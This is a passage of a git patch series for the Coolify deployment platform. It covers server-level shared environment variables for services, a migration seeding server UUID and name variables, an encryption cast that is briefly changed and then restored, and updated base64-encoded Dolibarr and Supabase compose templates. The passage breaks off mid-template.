index f1b92c5db..fdcb39270 100644
--- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
+++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
@@ -160,6 +160,26 @@ public function availableSharedVariables(): array
// User not authorized to view server variables
}
}
+ } else {
+ // For service environment variables, try to use the service's server
+ $serviceUuid = data_get($this->parameters, 'service_uuid');
+ if ($serviceUuid) {
+ $service = \App\Models\Service::whereRelation('environment.project.team', 'id', $team->id)
+ ->where('uuid', $serviceUuid)
+ ->with('server')
+ ->first();
+
+ if ($service && $service->server) {
+ try {
+ $this->authorize('view', $service->server);
+ $result['server'] = $service->server->environment_variables()
+ ->pluck('key')
+ ->toArray();
+ } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ // User not authorized to view server variables
+ }
+ }
+ }
}
}
diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
index a14adb83f..ac7549f18 100644
--- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
+++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
@@ -297,6 +297,26 @@ public function availableSharedVariables(): array
// User not authorized to view server variables
}
}
+ } else {
+ // For service environment variables, try to use the service's server
+ $serviceUuid = data_get($this->parameters, 'service_uuid');
+ if ($serviceUuid) {
+ $service = \App\Models\Service::whereRelation('environment.project.team', 'id', $team->id)
+ ->where('uuid', $serviceUuid)
+ ->with('server')
+ ->first();
+
+ if ($service && $service->server) {
+ try {
+ $this->authorize('view', $service->server);
+ $result['server'] = $service->server->environment_variables()
+ ->pluck('key')
+ ->toArray();
+ } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ // User not authorized to view server variables
+ }
+ }
+ }
}
}
From 82b19e59214826f557f294352bc66fa9a0525246 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 24 Dec 2025 14:41:08 +0100
Subject: [PATCH 005/168] fix: predefined server env were not generated for
existing servers
---
app/Models/SharedEnvironmentVariable.php | 2 +-
...d_server_variables_to_existing_servers.php | 68 +++++++++++++++++++
2 files changed, 69 insertions(+), 1 deletion(-)
create mode 100644 database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php
index 7b68bbac9..de6b23425 100644
--- a/app/Models/SharedEnvironmentVariable.php
+++ b/app/Models/SharedEnvironmentVariable.php
@@ -10,7 +10,7 @@ class SharedEnvironmentVariable extends Model
protected $casts = [
'key' => 'string',
- 'value' => 'encrypted',
+ 'value' => 'string',
];
public function team()
diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
new file mode 100644
index 000000000..d31b57ca7
--- /dev/null
+++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
@@ -0,0 +1,68 @@
+get();
+
+ foreach ($servers as $server) {
+ // Check if COOLIFY_SERVER_UUID already exists
+ $uuidExists = DB::table('shared_environment_variables')
+ ->where('type', 'server')
+ ->where('server_id', $server->id)
+ ->where('key', 'COOLIFY_SERVER_UUID')
+ ->exists();
+
+ if (!$uuidExists) {
+ DB::table('shared_environment_variables')->insert([
+ 'key' => 'COOLIFY_SERVER_UUID',
+ 'value' => $server->uuid,
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ 'created_at' => now(),
+ 'updated_at' => now(),
+ ]);
+ }
+
+ // Check if COOLIFY_SERVER_NAME already exists
+ $nameExists = DB::table('shared_environment_variables')
+ ->where('type', 'server')
+ ->where('server_id', $server->id)
+ ->where('key', 'COOLIFY_SERVER_NAME')
+ ->exists();
+
+ if (!$nameExists) {
+ DB::table('shared_environment_variables')->insert([
+ 'key' => 'COOLIFY_SERVER_NAME',
+ 'value' => $server->name,
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ 'created_at' => now(),
+ 'updated_at' => now(),
+ ]);
+ }
+ }
+ }
+
+ /**
+ * Reverse the migrations.
+ */
+ public function down(): void
+ {
+ // Remove predefined server variables
+ DB::table('shared_environment_variables')
+ ->where('type', 'server')
+ ->whereIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])
+ ->delete();
+ }
+};
From e3df380a04b4cb16fd01b0c05d084509ab668f8f Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 2 Jan 2026 17:30:53 +0100
Subject: [PATCH 006/168] fix: change value cast to encrypted for shared
environment variables
---
app/Models/SharedEnvironmentVariable.php | 2 +-
templates/service-templates-latest.json | 6 +++---
templates/service-templates.json | 6 +++---
3 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php
index de6b23425..7b68bbac9 100644
--- a/app/Models/SharedEnvironmentVariable.php
+++ b/app/Models/SharedEnvironmentVariable.php
@@ -10,7 +10,7 @@ class SharedEnvironmentVariable extends Model
protected $casts = [
'key' => 'string',
- 'value' => 'string',
+ 'value' => 'encrypted',
];
public function team()
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index c3e33b582..1986e17d3 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -851,7 +851,7 @@
"dolibarr": {
"documentation": "https://www.dolibarr.org/documentation-home.php?utm_source=coolify.io",
"slogan": "Dolibarr is a modern software package to manage your organization's activity (contacts, quotes, invoices, orders, stocks, agenda, hr, expense reports, accountancy, ecm, manufacturing, ...).",
- "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPTElCQVJSXzgwCiAgICAgIC0gJ1dXV19VU0VSX0lEPSR7V1dXX1VTRVJfSUQ6LTEwMDB9JwogICAgICAtICdXV1dfR1JPVVBfSUQ9JHtXV1dfR1JPVVBfSUQ6LTEwMDB9JwogICAgICAtIERPTElfREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gJ0RPTElfREJfTkFNRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ0RPTElfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ0RPTElfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnRE9MSV9VUkxfUk9PVD0ke1NFUlZJQ0VfVVJMX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9MT0dJTj0ke1NFUlZJQ0VfVVNFUl9ET0xJQkFSUn0nCiAgICAgIC0gJ0RPTElfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9DUk9OPSR7RE9MSV9DUk9OOi0wfScKICAgICAgLSAnRE9MSV9JTklUX0RFTU89JHtET0xJX0lOSVRfREVNTzotMH0nCiAgICAgIC0gJ0RPTElfQ09NUEFOWV9OQU1FPSR7RE9MSV9DT01QQU5ZX05BTUU6LU15QmlnQ29tcGFueX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX21hcmlhZGJfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+ "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPTElCQVJSXzgwCiAgICAgIC0gJ1dXV19VU0VSX0lEPSR7V1dXX1VTRVJfSUQ6LTEwMDB9JwogICAgICAtICdXV1dfR1JPVVBfSUQ9JHtXV1dfR1JPVVBfSUQ6LTEwMDB9JwogICAgICAtIERPTElfREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gJ0RPTElfREJfTkFNRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ0RPTElfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ0RPTElfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnRE9MSV9VUkxfUk9PVD0ke1NFUlZJQ0VfVVJMX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9MT0dJTj0ke1NFUlZJQ0VfVVNFUl9ET0xJQkFSUn0nCiAgICAgIC0gJ0RPTElfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9DUk9OPSR7RE9MSV9DUk9OOi0wfScKICAgICAgLSAnRE9MSV9JTklUX0RFTU89JHtET0xJX0lOSVRfREVNTzotMH0nCiAgICAgIC0gJ0RPTElfQ09NUEFOWV9OQU1FPSR7RE9MSV9DT01QQU5ZX05BTUU6LU15QmlnQ29tcGFueX0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2xpYmFycl9kb2NzOi92YXIvd3d3L2RvY3VtZW50cycKICAgICAgLSAnZG9saWJhcnJfY3VzdG9tOi92YXIvd3d3L2h0bWwvY3VzdG9tJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUk9PVH0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2xpYmFycl9tYXJpYWRiX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
"tags": [
"crm",
"erp"
@@ -4088,7 +4088,7 @@
"supabase": {
"documentation": "https://supabase.io?utm_source=coolify.io",
"slogan": "The open source Firebase alternative.",
- "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR184MDAwCiAgICAgIC0gJ0tPTkdfUE9SVF9NQVBTPTQ0Mzo4MDAwJwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEtPTkdfREFUQUJBU0U9b2ZmCiAgICAgIC0gS09OR19ERUNMQVJBVElWRV9DT05GSUc9L2hvbWUva29uZy9rb25nLnltbAogICAgICAtICdLT05HX0ROU19PUkRFUj1MQVNULEEsQ05BTUUnCiAgICAgIC0gJ0tPTkdfUExVR0lOUz1yZXF1ZXN0LXRyYW5zZm9ybWVyLGNvcnMsa2V5LWF1dGgsYWNsLGJhc2ljLWF1dGgnCiAgICAgIC0gS09OR19OR0lOWF9QUk9YWV9QUk9YWV9CVUZGRVJfU0laRT0xNjBrCiAgICAgIC0gJ0tPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSUz02NCAxNjBrJwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnREFTSEJPQVJEX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX0FETUlOfScKICAgICAgLSAnREFTSEJPQVJEX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2FwaS9rb25nLnltbAogICAgICAgIHRhcmdldDogL2hvbWUva29uZy90ZW1wLnltbAogICAgICAgIGNvbnRlbnQ6ICJfZm9ybWF0X3ZlcnNpb246ICcyLjEnXG5fdHJhbnNmb3JtOiB0cnVlXG5cbiMjI1xuIyMjIENvbnN1bWVycyAvIFVzZXJzXG4jIyNcbmNvbnN1bWVyczpcbiAgLSB1c2VybmFtZTogREFTSEJPQVJEXG4gIC0gdXNlcm5hbWU6IGFub25cbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9BTk9OX0tFWVxuICAtIHVzZXJuYW1lOiBzZXJ2aWNlX3JvbGVcbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9TRVJWSUNFX0tFWVxuXG4jIyNcbiMjIyBBY2Nlc3MgQ29udHJvbCBMaXN0XG4jIyNcbmFjbHM6XG4gIC0gY29uc3VtZXI6IGFub25cbiAgICBncm91cDogYW5vblxuICAtIGNvbnN1bWVyOiBzZXJ2aWNlX3JvbGVcbiAgICBncm91cDogYWRtaW5cblxuIyMjXG4jIyMgRGFzaGJvYXJkIGNyZWRlbnRpYWxzXG4jIyNcbmJhc2ljYXV0aF9jcmVkZW50aWFsczpcbi0gY29uc3VtZXI6IERBU0hCT0FSRFxuICB1c2VybmFtZTogJERBU0hCT0FSRF9VU0VSTkFNRVxuICBwYXNzd29yZDogJERBU0hCT0FSRF9QQVNTV09SRFxuXG5cbiMjI1xuIyMjIEFQSSBSb3V0ZXNcbiMjI1xuc2VydmljZXM6XG5cbiAgIyMgT3BlbiBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS92ZXJpZnlcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvdmVyaWZ5XG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9jYWxsYmFja1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWNhbGxiYWNrXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9jYWxsYmFja1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tYXV0aG9yaXplXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L2F1dGhvcml6ZVxuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvYXV0aG9yaXplXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIFNlY3VyZSBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjFcbiAgICBfY29tbWVudDogJ0dvVHJ1ZTogL2F1dGgvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5LyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUkVTVCByb3V0ZXNcbiAgLSBuYW1lOiByZXN0LXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9yZXN0L3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlc3QtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVzdC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgR3JhcGhRTCByb3V0ZXNcbiAgLSBuYW1lOiBncmFwaHFsLXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9ncmFwaHFsL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9ycGMvZ3JhcGhxbCdcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWxcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGdyYXBocWwtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZ3JhcGhxbC92MVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IHRydWVcbiAgICAgIC0gbmFtZTogcmVxdWVzdC10cmFuc2Zvcm1lclxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgYWRkOlxuICAgICAgICAgICAgaGVhZGVyczpcbiAgICAgICAgICAgICAgLSBDb250ZW50LVByb2ZpbGU6Z3JhcGhxbF9wdWJsaWNcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFNlY3VyZSBSZWFsdGltZSByb3V0ZXNcbiAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgIF9jb21tZW50OiAnUmVhbHRpbWU6IC9yZWFsdGltZS92MS8qIC0+IHdzOi8vcmVhbHRpbWU6NDAwMC9zb2NrZXQvKidcbiAgICB1cmw6IGh0dHA6Ly9yZWFsdGltZS1kZXY6NDAwMC9zb2NrZXRcbiAgICBwcm90b2NvbDogd3NcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXdzXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvYXBpXG4gICAgcHJvdG9jb2w6IGh0dHBcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9yZWFsdGltZS92MS9hcGlcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU3RvcmFnZSByb3V0ZXM6IHRoZSBzdG9yYWdlIHNlcnZlciBtYW5hZ2VzIGl0cyBvd24gYXV0aFxuICAtIG5hbWU6IHN0b3JhZ2UtdjFcbiAgICBfY29tbWVudDogJ1N0b3JhZ2U6IC9zdG9yYWdlL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHN0b3JhZ2UtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvc3RvcmFnZS92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG5cbiAgIyMgRWRnZSBGdW5jdGlvbnMgcm91dGVzXG4gIC0gbmFtZTogZnVuY3Rpb25zLXYxXG4gICAgX2NvbW1lbnQ6ICdFZGdlIEZ1bmN0aW9uczogL2Z1bmN0aW9ucy92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczo5MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGZ1bmN0aW9ucy12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9mdW5jdGlvbnMvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEFuYWx5dGljcyByb3V0ZXNcbiAgLSBuYW1lOiBhbmFseXRpY3MtdjFcbiAgICBfY29tbWVudDogJ0FuYWx5dGljczogL2FuYWx5dGljcy92MS8qIC0+IGh0dHA6Ly9sb2dmbGFyZTo0MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhbmFseXRpY3MtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYW5hbHl0aWNzL3YxL1xuXG4gICMjIFNlY3VyZSBEYXRhYmFzZSByb3V0ZXNcbiAgLSBuYW1lOiBtZXRhXG4gICAgX2NvbW1lbnQ6ICdwZy1tZXRhOiAvcGcvKiAtPiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogbWV0YS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9wZy9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cblxuICAjIyBQcm90ZWN0ZWQgRGFzaGJvYXJkIC0gY2F0Y2ggYWxsIHJlbWFpbmluZyByb3V0ZXNcbiAgLSBuYW1lOiBkYXNoYm9hcmRcbiAgICBfY29tbWVudDogJ1N0dWRpbzogLyogLT4gaHR0cDovL3N0dWRpbzozMDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2Utc3R1ZGlvOjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBkYXNoYm9hcmQtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBiYXNpYy1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4iCiAgc3VwYWJhc2Utc3R1ZGlvOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdHVkaW86MjAyNS4wN